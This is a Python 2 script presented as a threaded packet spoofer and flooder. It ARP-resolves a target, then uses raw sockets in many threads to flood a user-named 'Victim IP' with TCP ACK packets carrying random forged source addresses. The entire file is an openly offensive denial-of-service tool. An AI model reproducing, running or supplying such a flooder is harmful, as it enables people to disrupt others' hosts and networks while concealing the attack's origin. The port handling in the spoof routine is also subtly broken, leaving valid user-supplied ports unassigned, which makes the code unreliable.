#!/usr/bin/python
# Threaded packet spoofer / flooder for Linux.
# entropy@phiral.net
# enum@greynode.org
# http://www.phiral.net/pyspoof.py
# Requires dpkt:
# wget http://dpkt.googlecode.com/files/dpkt-1.7.tar.gz
# tar -xvzf dpkt-1.7.tar.gz; cd dpkt-1.7/; python setup.py install

import sys, getopt
import fcntl, socket, struct
import os, string

from threading import Thread
from random import randrange, randint
from dpkt import tcp, ip, ethernet, arp, hexdump

def eth_aton(buf):
    addr = ''
    buf = string.join(string.split(buf,':'), '')
    for i in range(0, len(buf), 2):
        addr = ''.join([addr,struct.pack('B', int(buf[i: i + 2], 16))],)
    return addr

def get_ifaces():
    """ This method could definitely be improved """
    ifaces = os.popen("ifconfig -s -a|grep 1500|awk '{print $1}'").read().split('\n')
    return ifaces[:-1]

class pySpoof(Thread):
    def __init__(self, debug, iface, src_mac, dst_mac, dst_addr, src_port, dst_port):
        Thread.__init__(self)
        self.debug = debug
        self.iface = iface
        self.src_mac = src_mac
        self.dst_mac = dst_mac
        self.src_addr = ''
        self.dst_addr = dst_addr
        self.src_port = src_port
        self.dst_port = dst_port
        self.running = True

    def get_rand_addr(self):
        not_valid = [10,127,169,172,192]
       
        first = randrange(1, 224)
        while first in not_valid:
            first = randrange(1, 224)
        
        addr = '%s.%s' % (first, ".".join([str(randrange(1,256)) for i in range(3)]))
        return addr
        
    def spoof(self):

        if self.src_port <= 0 or self.src_port >= 65535:
            src_port = randint(1025, 65534)

        if self.dst_port <= 0 or self.dst_port >= 65535:
            dst_port = randint(1, 1024)

        t = tcp.TCP(seq=randint(1000000, 2147483647),
                    ack=randint(1000000, 2147483647),
                    flags=16, 
                    dport=dst_port, 
                    sport=src_port)

        self.src_addr = self.get_rand_addr()
        i = ip.IP(src=socket.inet_aton(self.src_addr), 
                  dst=socket.inet_aton(self.dst_addr), 
                  len=40, 
                  p=6, 
                  data=t)

        e = ethernet.Ethernet(dst=eth_aton(self.dst_mac), src=eth_aton(self.src_mac), data=i)

        if self.debug:
            print "%s:%d -> %s:%d" %\
                  (self.src_addr, src_port, self.dst_addr, dst_port)

        s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) 
        s.bind((self.iface, ethernet.ETH_TYPE_IP))
        s.send(str(e))

    def run(self):
        while self.running:
            try:
                 self.spoof()
            except Exception, e:
                print "Error sending packet: %s" % e.args

class SocketManager:
    """ A factory for configuring and then
    producing pySpoof objects. """
    def __init__(self, debug, iface, dst_addr):
        self.debug = debug
        self.iface = iface
        self.dst_addr = dst_addr
        self.src_mac = self.get_mac()
        self.src_addr = self.get_addr()
        
        if self.debug: 
            print "Using my MAC address %s to ARP" % self.src_mac
            print "Using my IP address %s to ARP" % self.src_addr

        try:
            self.dst_addr = socket.gethostbyname(dst_addr)
        except socket.gaierror, err:
            print "FATAL: Can't resolve hostname %s: %s" % (dst_addr, err[1])
            sys.exit(-1)

        self.dst_mac = self.get_dst_mac()

    def get_mac(self): 
        """ Returns the MAC address of self.iface """
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack('256s', self.iface[:15]))
        return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]

    def get_addr(self):
        """ Returns the IP address of self.iface """
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        info = fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', self.iface[:15]))[20:24]
        return socket.inet_ntoa(info)

    def eth_ntoa(self, buf):
        addr = ''
        for intval in struct.unpack('BBBBBB', buf):
            if intval > 15:
                addr = ''.join([addr, hex(intval).replace('0x', '')])
            else:
                addr = ''.join([addr, hex(intval).replace('x', '')])
        return addr

    def build_arp(self):
        arp_p = arp.ARP()
        arp_p.sha = eth_aton(self.src_mac)
        arp_p.spa = socket.inet_aton(self.src_addr)
        arp_p.tha = '\x00\x00\x00\x00\x00\x00'
        arp_p.tpa = socket.inet_aton(self.dst_addr)
        arp_p.op = arp.ARP_OP_REQUEST

        pkt = ethernet.Ethernet()
        pkt.src = eth_aton(self.src_mac)
        pkt.dst = '\xff\xff\xff\xff\xff\xff'
        pkt.data = arp_p
        pkt.type = ethernet.ETH_TYPE_ARP

        return pkt

    def get_dst_mac(self):
        pkt = self.build_arp()

        if self.debug: print "\nSEND:\n%s\n" % hexdump(str(pkt))

        s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
        s.bind((self.iface, ethernet.ETH_TYPE_ARP))
        s.send(str(pkt))

        data = s.recv(1024)
        s.close()

        if self.debug: print "\nRECV:\n%s\n" % hexdump(data)

        answer = ethernet.Ethernet(data)
        arp_p = answer.data

        dst_mac_tmp = self.eth_ntoa(arp_p.sha)
        dst_mac = ':'.join(dst_mac_tmp[i:i+2] for i in xrange(0, len(dst_mac_tmp), 2))

        if self.debug: print "\nDST MAC:\n%s\n" % dst_mac

        return dst_mac

    def pySpoof(self, dst_addr, src_port, dst_port):
        return pySpoof(self.debug, self.iface, self.src_mac, self.dst_mac, dst_addr, src_port, dst_port)

def get_iface():
    """ I/O function that interacts with the user to
    choose a source interface """
    ifaces = get_ifaces()
    while True:
        print "\nAvailable Interfaces:"
        print "====================="
        for i in range(len(ifaces)):
            print "[%d] %s" % (i, ifaces[i])
        choice = raw_input("Interface [?]: ")
        try:
            stripped = str(int(choice)) 
            if int(stripped) > -1 and int(stripped) < len(ifaces):
                break        
            else:
                print "\n[e] Invalid interface"
        except:
            print "\n[e] Invalid choice"

    return ifaces[int(stripped)]

def usage():
    print "./pyspoof.py [-t <target> -r <threads> -i <interface> -s <port> -d <port> -h -D]\n"
    print "-t|--target <Hostname|IP>"
    print "-r|--threads <Number of threads>"
    print "-i|--interface <Interface to send from>"
    print "-s|--sport <Source port>"
    print "-d|--dport <Dest port>"
    print "-D|--debug Enables debugging"
    print "-h|--help Shows this help\n" 
    print "Eg. ./pyspoof.py -D"
    print "Eg. ./pyspoof.py -t 192.168.0.1 -r 5 -i eth0\n"

def main(argv):
    
    try:
        opts, args = getopt.getopt(argv, "hDt:r:i:s:d:", 
            ["help", "debug", "target=", "threads=", "interface=", "sport=", "dport="])
    except getopt.GetoptError:
        usage() 
        sys.exit(-1)
    
    dst_addr = ''
    threads = 0
    iface = ''
    sport = 0
    dport = 0
    debug = False

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit(0)
        elif o in ("-D", "--debug"):
            debug = True
        elif o in ("-t", "--target"):
            dst_addr = a
        elif o in ("-r", "--threads"):
            threads = int(a)
        elif o in ("-i", "--interface"):
            iface = a
        elif o in ("-s", "--sport"):
            sport = int(a)
        elif o in ("-d", "--dport"):
            dport = int(a)

    if threads <= 0 or threads >= 128:
        threads = 5

    if not len(iface):
        iface = get_iface()

    print "\nWorking with interface: %s" % iface

    if not len(dst_addr):    
        dst_addr = raw_input("\nVictim IP: ")

    sm = SocketManager(debug, iface, dst_addr)

    rthreads = []
    for x in range(threads):
        t = sm.pySpoof(dst_addr, sport, dport)
        rthreads.append(t)
        t.start()

    while len(rthreads) > 0:
        try:
            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
        except KeyboardInterrupt:
            print "\nShutting down threads...\n"
            for t in rthreads:
                t.running = False

if __name__ == "__main__":
    main(sys.argv[1:])